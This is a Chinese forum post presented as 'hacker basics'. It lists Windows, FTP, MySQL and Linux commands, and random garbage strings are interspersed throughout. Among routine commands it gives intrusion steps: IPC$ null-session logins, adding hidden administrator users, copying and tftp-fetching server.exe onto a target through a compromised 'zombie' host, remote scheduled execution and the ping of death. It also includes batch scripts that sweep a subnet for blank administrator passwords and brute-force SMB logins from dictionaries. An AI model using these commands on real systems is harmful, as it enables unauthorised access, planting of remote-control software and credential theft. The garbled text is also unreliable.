获得本站免费赞助空间请点这里
返回列表 发帖

黑客基础--最全的DOS命令

net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空链接 4 L& Z& A  v7 E6 Y6 n. _
net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] "密码" /user:"用户名" 建立IPC非空链接 ) d. W0 i( o2 Q/ u
net use h: [url=file://\\ip\c$]\\ip\c$[/url] "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
) p$ \5 V9 Z1 _6 C7 L4 F4 \net use h: [url=file://\\ip\c$]\\ip\c$[/url] 登陆后映射对方C:到本地为H: * y$ B/ C) o% a2 h# \' m+ L3 V7 I7 h: U
net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] /del 删除IPC链接
& H& H' r$ H  [# _net use h: /del 删除映射对方到本地的为H:的映射 - I/ j' h1 F( l5 h& O" G/ H3 D
net user 用户名 密码 /add 建立用户
7 w) w: y/ {6 E( _( onet user guest /active:yes 激活guest用户
: R8 c, d9 ]9 r* M& ~1 _net user 查看有哪些用户 + J: U9 a7 M0 N0 s% P+ \; l
net user 帐户名 查看帐户的属性
. G: H: c- e& Y: K& a$ Ynet localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 + q* F! ?4 Q7 c* E2 x; x
net start 查看开启了哪些服务 5 f6 W* o3 f" o  e9 N' t
net start 服务名  开启服务;(如:net start telnet, net start schedule) ( m8 O2 ^0 n2 {
net stop 服务名 停止某服务
% y! J# x# v+ s! U7 F2 c; q7 Znet time \\目标ip 查看对方时间 6 f4 a* C. @5 p; \9 [
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 + L6 w. c% H( M4 A- k" u$ g9 J
net view 查看本地局域网内开启了哪些共享 - C1 [! G; |7 `  U6 @8 p& ?
net view [url=file://\\ip]\\ip[/url] 查看对方局域网内开启了哪些共享 7 ?* v9 b1 R4 a
net config 显示系统网络设置
- ]; y& D0 g! Cnet logoff 断开连接的共享
* d6 g" o7 l& Y# B* E# i" ]net pause 服务名 暂停某服务
) I  O  @% [9 w. p8 m) t& Knet send ip "文本信息" 向对方发信息
# Q, g2 L+ q% M  Y+ a6 ynet ver 局域网内正在使用的网络连接类型和信息 7 ~1 K9 |; `8 ?! F  w- f
net share 查看本地开启的共享 # h8 |# b2 o* H) \2 Z
net share ipc$ 开启ipc$共享 % h- d9 T. i" X  y6 T
net share ipc$ /del 删除ipc$共享 0 O- t6 I+ V" f& _; {+ d
net share c$ /del 删除C:共享
% W! Y7 ^5 _9 Z8 S  }+ jnet user guest 12345 用guest用户登陆后用将密码改为12345
% r7 s2 }, Z9 G' ^$ B0 fnet password 密码 更改系统登陆密码 8 t3 p/ v  h3 F" v0 i8 v" M/ s
netstat -a 查看开启了哪些端口,常用netstat -an
- V" s1 y. Z6 c! P9 |netstat -n 查看端口的网络连接情况,常用netstat -an
9 W7 C2 A& ?9 V& ^0 J3 g7 T, mnetstat -v 查看正在进行的工作 1 {8 m( M1 p& \; H, a  g# M
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
" f6 V. j5 K) p) `+ f1 R6 t! knetstat -s 查看正在使用的所有协议使用情况
% ^  X8 Z% a! m, z. [; anbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
, K9 u1 J5 Z% p5 @& k3 B* o7 Ttracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。 $ X2 F, O  i6 B. F4 d0 r
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 + I8 ?. v0 d4 d5 B5 e3 v# ?; J
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
  |( t# S; I6 l7 Ripconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息 ( g/ g7 s( J" c9 V
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
7 y9 s3 S8 I3 \. s  l* Jkill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
" t8 j9 K6 j* I1 ^/ M6 Ldel -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件 2 w- M5 V0 n8 H% e3 ~4 V! J4 c
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
2 x4 E( Y" u. P! }* }2 M' i. @move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 1 s' R( a: [# z9 g5 a
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令 ' q: z. N7 K3 ]- @. L' }) ^6 T
at id号 开启已php?name=%D7%A2%B2%E1"  class="t_tag">注册的某个计划任务
! D1 ^7 k+ A  v8 c  j) c: ^at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 6 }9 M3 w% y; y5 }" R
at id号 /delete 停止某个已注册的计划任务 $ h7 A( M$ B) ]( J
at 查看所有的计划任务
  i3 q: l7 w" {$ [3 i& t" vat [url=file://\\ip]\\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
7 J: D/ l8 n; L  y) Nfinger username @host 查看最近有哪些用户登陆 . ]4 ~# m! f5 c3 F
telnet ip 端口 远和登陆服务器,默认端口为23 . g8 B2 V5 T) V7 K
open ip 连接到IP(属telnet登陆后的命令)
6 h9 e" ?4 Z; d7 i- w/ B) V, h- i, X# J+ Qtelnet 在本机上直接键入telnet 将进入本机的telnet
3 Q& K) j# u2 _) I- j+ tcopy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
4 x! ?- b6 o' V' E. K/ acopy c:\srv.exe [url=file://\\ip\admin$]\\ip\admin$[/url] 复制本地c:\srv.exe到对方的admin下 $ K6 E+ R* c( `7 D! {
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
; r, q9 m7 d2 Icopy [url=file://\\ip\admin$\svv.exe]\\ip\admin$\svv.exe[/url] c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C: 0 l, _4 T" J. Q# i
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
* J3 A. ?' _6 e  Ftftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送 # d* Y* m7 I( \3 J5 I& Q7 I
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机 : A1 P4 d/ t0 T/ J
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) 6 c3 j2 a  J8 x3 d' l  S* |
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface ; E5 X. F3 G7 p0 |3 T9 o1 U  d, b
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 * ]# I2 U6 O  H6 G! v2 o* _9 C
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
# e1 s" y/ `  p& {! Umem 查看cpu使用情况 9 E6 {' g) E  q- e: Y' l
attrib 文件名(目录名) 查看某文件(目录)的属性 / B; Q  u7 ?: ]5 ]+ p( X
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 % P( D$ R3 G0 h( W- \; y
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间 6 I- i" W1 h/ b* f: E1 W" k
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 + j& Y0 ~! M# P* R' s! g0 m+ M
set 指定环境变量名称=要指派给变量的字符 设置环境变量
$ L$ F, l; C' C# uset 显示当前所有的环境变量
  \! N. v% n( Wset p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
% H! O. j9 H8 v* c5 |: Y' Npause 暂停批处理程序,并显示出:请按任意键继续.... % R) f. ]' ?2 U# `" v  K
if 在批处理程序中执行条件处理(更多说明见if命令及变量) " R) ~0 p. O) v0 j
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
5 v6 X7 h7 d) t/ k: F6 `call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?) ( A  J# Q* `4 R: J
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量) 0 }6 X! ~4 O! A- A
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 $ }. f) r  T6 w& p! {, M8 J" H- `
echo 信息 在屏幕上显示出信息 ! V2 t4 y& d1 ^4 ^- ^; g( o+ g
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 : I! u4 m$ w. x5 _) ^: k0 j# T- J
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
: q5 e" u8 V! @. M; bfind 文件名 查找某文件
/ |2 E7 m) ^3 \& b' a- [+ `. Ktitle 标题名字 更改CMD窗口标题名字 # l4 {; N0 }: X8 ]
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 2 x# {& L( v1 r$ x+ x" P! ]
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ ) ! c+ y) a" O' w- d  @/ F
print 文件名 打印文本文件
& t" S, s: S; P) V2 U; d- Wver 在DOS窗口下显示版本信息
7 O. J  p( {- k% xwinver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名) 9 T$ `- c; ?- b; S( V# D& V
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
2 A; N0 |$ o5 D: s8 y0 f0 _md 目录名 创建目录 0 [' @3 ?; C* Z4 a4 k3 P
replace 源文件 要替换文件的目录 替换文件 ( @+ s% d% }& N
ren 原文件名 新文件名 重命名文件名
2 p: P7 V. c4 h8 [9 rtree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
9 F5 t% i1 a( d8 D( Wtype 文件名 显示文本文件的内容
$ A; C/ I" D* d' u; Qmore 文件名 逐屏显示输出文件
- ?/ V  \( @' J) Idoskey 要锁定的命令=字符
  |" g% N- Z3 J% C$ k. p, [doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
. M# C6 F! O: P" |8 u7 h) etaskmgr 调出任务管理器
1 v: z& A/ k( f/ ^/ v1 {1 cchkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
6 X3 k5 r) E5 {* ?4 Xtlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口 4 x% f! h0 }+ b! H8 r, X
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
- Q( @+ \1 b  V) [( zpath 路径\可执行文件的文件名 为可执行文件设置一个路径。 0 x5 W( s3 v2 l$ V
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
0 F7 {6 \/ W9 T4 o  n2 C. l* a' H" Kregedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
0 s; I( }/ p5 Iregedit /e 注册表文件名 导出注册表
5 d& }  s1 W3 ^* mcacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
# Z* x3 _; j$ b  s5 W& Tcacls 文件名 查看文件的访问用户权限列表
' ^3 h* |" P6 aREM 文本内容 在批处理文件中添加注解 0 }8 Q. H, N7 v: W# F
netsh 查看或更改本地网络配置情况
$ P  D8 A" e! S9 Q: IIIS服务命令:
7 l9 C- ^' Q7 l% k' t2 i+ Z5 D5 Liisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
  M" ?( q4 o) ~iisreset /start或stop 启动(停止)所有Internet服务 & w, W. k6 \* B4 f
iisreset /restart 停止然后重新启动所有Internet服务
8 L9 b0 l( W7 n. v& A* Q4 x$ U, Giisreset /status 显示所有Internet服务状态 # B2 j* a, c. y* o* r. p: t* A
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
& D( m' m' r, I2 w+ miisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
. D% ~( y9 f& Fiisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
' u6 h9 u8 ~% Q; J  Piisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。 0 l3 }+ {- J+ z* h* \
FTP 命令: (后面有详细说明内容)
/ M6 T1 x+ x. Bftp的命令行格式为:# K8 _: f. e7 `& ?( e( ]/ e4 G
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。/ ]* N7 E5 F4 R7 |2 C  m9 E
-d 使用调试方式。
3 ^( o5 x0 F2 _4 G) L  k-n 限制ftp的自动登录,即不使用.netrc文件。
6 U  j2 ~2 \2 S) M-g 取消全局文件名。 5 x" v4 O9 @1 X2 Q
help [命令] 或 ?[命令] 查看命令说明
! ?7 g! Q$ ~  K! `% N0 Xbye 或 quit 终止主机FTP进程,并退出FTP管理方式.
9 @# w' A: K" upwd 列出当前远端主机目录 : [7 P" N# O* B. z, X. E
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 3 Q5 R- E0 O  a  n' Q: H7 f
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 * v7 L- U) L7 N5 Z1 K  A' y; B9 ]
mget [remote-files] 从远端主机接收一批文件至本地主机 8 @2 V: e' n% b6 G
mput local-files 将本地主机中一批文件传送至远端主机 1 C: Q0 g; |& b! c
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
, J, _8 E% A2 v9 Yascii 设定以ASCII方式传送文件(缺省值)
% T  a8 a6 X& j& Z- k; N3 ^3 Wbin 或 image 设定以二进制方式传送文件
. D! }$ {( Q6 q5 z# e6 N. X: Y+ rbell 每完成一次文件传送,报警提示
/ Q: g3 J$ K, R7 M1 a' B7 pcdup 返回上一级目录 8 _9 T$ y- k/ D3 S
close 中断与远程服务器的ftp会话(与open对应) . W% E) T* a; y! K
open host[port] 建立指定ftp服务器连接,可指定连接端口 ) r! |  w8 g0 p
delete 删除远端主机中的文件 4 |) I3 j8 D' X) [& G( A" B) L
mdelete [remote-files] 删除一批文件
! Q* v/ P* c9 o& emkdir directory-name 在远端主机中建立目录 & L- L! x! c$ v
rename [from] [to] 改变远端主机中的文件名
$ e" P4 W( V2 O3 T' ?" Q* t1 S7 Armdir directory-name 删除远端主机中的目录 ; j4 U' b; y+ [- b5 V+ Q
status 显示当前FTP的状态   P6 N% x! T0 @, e( }) v- R
system 显示远端主机系统类型 ( K6 e; e  m! }5 l' o# s1 H
user user-name [password] [account] 重新以别的用户名登录远端主机
3 d% U8 i0 A2 L6 X4 s+ g0 Sopen host [port] 重新建立一个新的连接 # X* A0 h5 D* g+ H
prompt 交互提示模式 , Z0 a! E. T5 U6 j! e* L
macdef 定义宏命令
3 q3 D; j8 d- B% g& V1 z* llcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 $ j9 H' f3 f  u9 ?- Y
chmod 改变远端主机的文件权限 0 H/ _% y: w, J# w4 D+ W: G$ z
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 ( R. l. N3 B$ ?6 t: w  J/ a
cd remote-dir 进入远程主机目录
6 ^6 L$ Z/ o+ V( T7 y' ^- Zcdup 进入远程主机目录的父目录 * f4 t9 h; p! \7 q: `
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
4 W  D. |$ ?( iMYSQL 命令: 9 W1 Q& c* b8 O  B6 Q" f
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
. c7 x+ n% v. r+ T(例:mysql -h110.110.110.110 -Uroot -P123456 ! d& C) j1 [# K
注:u与root可以不用加空格,其它也一样)
5 l3 W: \! s( e6 [  l8 oexit 退出MYSQL 2 m; t! s1 s. r( |* W
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码 ; P( |- U$ F* o
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符) : j& c) L1 U5 |) G6 z- l
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
6 W: `& r- {+ }0 a1 U  zuse mysql;9 U% x$ T. C# k7 V
show tables; 显示库中的数据表 $ A$ \1 v5 {) p: I
describe 表名; 显示数据表的结构 ( h8 W3 s  Z2 n) c- ]- [
create database 库名; 建库 # o9 X5 t4 P+ s! e; d" _
use 库名;, y5 c  I) b' v
create table 表名 (字段设定列表); 建表
- r' V5 S2 @$ v1 H3 K9 fdrop database 库名;
- K- ]. j! K0 Z; i& ~' C+ Tdrop table 表名; 删库和删表 0 [! W2 X0 \: ?6 V6 F* {; B
delete from 表名; 将表中记录清空 " D+ s  ~* g. @
select * from 表名; 显示表中的记录
+ X- {$ L1 b& d8 a2 Vmysqldump --opt school>school.bbb 备份数据库:(命令在DOS的[url=file://\\mysql\\bin]\\mysql\\bin[/url]目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 ; ~$ D1 r; t+ |, c$ j4 m
win2003系统下新增命令(实用部份):
1 z6 d% G0 O; i( {3 ^9 Wshutdown /参数 关闭或重启本地或远程主机。
" W9 X" E( |8 C参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
% a+ g% \0 x+ k1 Y例:shutdown /r /t 0 立即重启本地主机(无延时) . T) J3 @; @8 @. k
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
) z- X1 y8 r+ T$ s) O参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
# a1 z  ]$ X5 b. F' xtasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
' J5 w# T/ i9 G参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程8 n1 J# J1 s. c
Linux系统下基本命令: 要区分大小写6 d1 b+ P& z+ L: q* E. i5 R
uname 显示版本信息(同win2K的 ver) 8 w' g7 N$ @! E7 a& f
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
. w# Q  \3 K: F. }  A  q" tpwd 查询当前所在的目录位置
9 T. ]1 t; b' o+ U* wcd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。 ( [- r1 V9 C/ j0 G
cat 文件名 查看文件内容 # @$ R) Q/ P2 W. f, x* R5 e
cat >abc.txt 往abc.txt文件中写上内容。   S6 `9 b3 u$ P* N$ v6 N% I- b
more 文件名 以一页一页的方式显示一个文本文件。 8 L1 m( P9 U( x
cp 复制文件
3 d" i1 R7 _! s% O9 mmv 移动文件 6 {* X$ [% F5 d/ X4 ~% B6 b
rm 文件名 删除文件,rm -a 目录名删除目录及子目录
6 A1 ~* W: N9 p+ H2 c% `mkdir 目录名 建立目录 ! v( |8 H6 E& B* s: u% c, `  O  `. `
rmdir 删除子目录,目录内没有文档。 1 g: ]: W' P# p) Y
chmod 设定档案或目录的存取权限 * q7 p) h0 [- X
grep 在档案中查找字符串 ( m9 a- _% e8 k5 ~- n- N' Z# i
diff 档案文件比较 $ `1 P7 h& q3 J$ t+ I) k  ~0 \
find 档案搜寻
" o, l, G6 H3 H& Vdate 现在的日期、时间 ) j) {3 U. @4 Q6 ^8 w+ q
who 查询目前和你使用同一台机器的人以及Login时间地点
# X) f" K$ M$ M: Uw 查询目前上机者的详细资料
0 Z8 T1 D5 k* P8 g  b4 g- \( P! s: Bwhoami 查看自己的帐号名称 9 D3 O3 z3 x% b% e; K, B) j7 }
groups 查看某人的Group : k' g* t1 f5 a2 H
passwd 更改密码 # U6 B# i7 \" a6 x: X& O
history 查看自己下过的命令 6 U$ R! ^9 a* s' U
ps 显示进程状态
' U& j4 j# r) t+ ^! hkill 停止某进程
$ o+ T/ G3 Z& k, igcc 黑客通常用它来编译C语言写的文件 7 ~$ X5 @; i& `( l; Y
su 权限转换为指定使用者
5 r% q+ ^+ H% N; T8 }5 T5 b) X8 ytelnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
/ J4 E% M: @. }) e# Jftp ftp连接上某服务器(同win2K
( {; t' f  l4 v; A附:批处理命令与变量
/ Z  e3 O+ e0 k, r# ?/ `1:for命令及变量 基本格式:
; _6 ?; u5 M( bFOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
. b" O7 m2 E+ V# [" v' S# ~批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] pass /user:user 中ip为%1,pass为%2 ,user为%3
  R, c& y0 c0 C  s(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1}
- Z; r0 z  q- H" s; y. F7 x1 ncommand:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开% f. j7 W# P7 p4 P
command_parameters:为特定命令指定参数或命令行开关8 {8 U4 H% K- ~2 K7 f* J8 Q
IN (set):指在(set)中取值;DO command :指执行command
6 `: O  F+ F4 g. _6 p- p! u参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。 , w: l& P! ]4 R) z5 T. {- t
用法举例:
3 S6 a0 a2 |3 p@echo off
( k" A+ m1 Y) e; {4 [% hecho 用法格式:test.bat *.*.* > test.txt
8 y/ _' P7 z; _9 l7 p7 V" nfor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use [url=file://\\%1.%%G]\\%1.%%G[/url] /user:administrator | find "命令成功完成" >>test.txt
: G/ L' j% ]" i, V9 L2 n5 m存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
  \0 q; m8 l+ v! y  M/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。 7 }0 O3 g+ H8 u3 ?4 i- g6 o
@echo off
$ Y5 z, R! D% zecho 用法格式:ok.bat ip 5 s2 A" }! C% R2 l6 [( [1 n
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 ) b% `3 I7 g( @* l: [9 a$ I$ {: b9 K
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。0 ]" A' Z, @  F+ q
2:if命令及变量 基本格式:
$ V; M3 }- ]+ I5 Z1 xIF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
- Z6 A3 R+ }+ D. O; A+ g例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
- z; ]/ o4 C, X6 s0 指发现并成功执行(真);1 指没有发现、没执行(假)。 * D) k' h5 L2 v% H
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。) H5 ], h1 [( Q  H+ A* u
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ") 0 M. e' W( A5 ~3 f
IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
' \) z: x8 G+ L3 y% s8 M例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
" ]3 v4 U! C( ~0 i' U3 @0 RIF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

返回列表
【捌玖网络】已经运行: